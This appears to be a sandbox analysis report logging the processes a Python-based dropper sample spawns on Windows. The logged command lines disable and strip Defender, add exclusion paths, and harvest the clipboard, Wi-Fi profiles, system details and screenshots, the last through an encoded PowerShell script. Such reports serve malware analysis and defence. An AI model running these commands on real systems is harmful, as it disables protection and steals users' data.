Start time:	19:36:09
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:36:09
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:36:09
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:36:09
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:36:09
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:36:10
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:36:10
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:36:10
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:36:11
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:36:11
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 8156, Parent PID: 8116

General

Target ID:	14
Start time:	19:36:11
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:36:11
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:36:11
Start date:	22/05/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6776c0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:36:11
Start date:	22/05/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6776c0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:36:12
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7424, Parent PID: 7656

General

Target ID:	21
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:36:13
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:36:14
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:36:14
Start date:	22/05/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6ec980000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:36:14
Start date:	22/05/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff748a90000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:36:14
Start date:	22/05/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6fbb50000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:36:14
Start date:	22/05/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff755090000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:36:14
Start date:	22/05/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6776c0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:36:15
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff629a10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8604, Parent PID: 8424

General

Target ID:	40
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff7be5d0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6ec980000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	19:36:17
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAY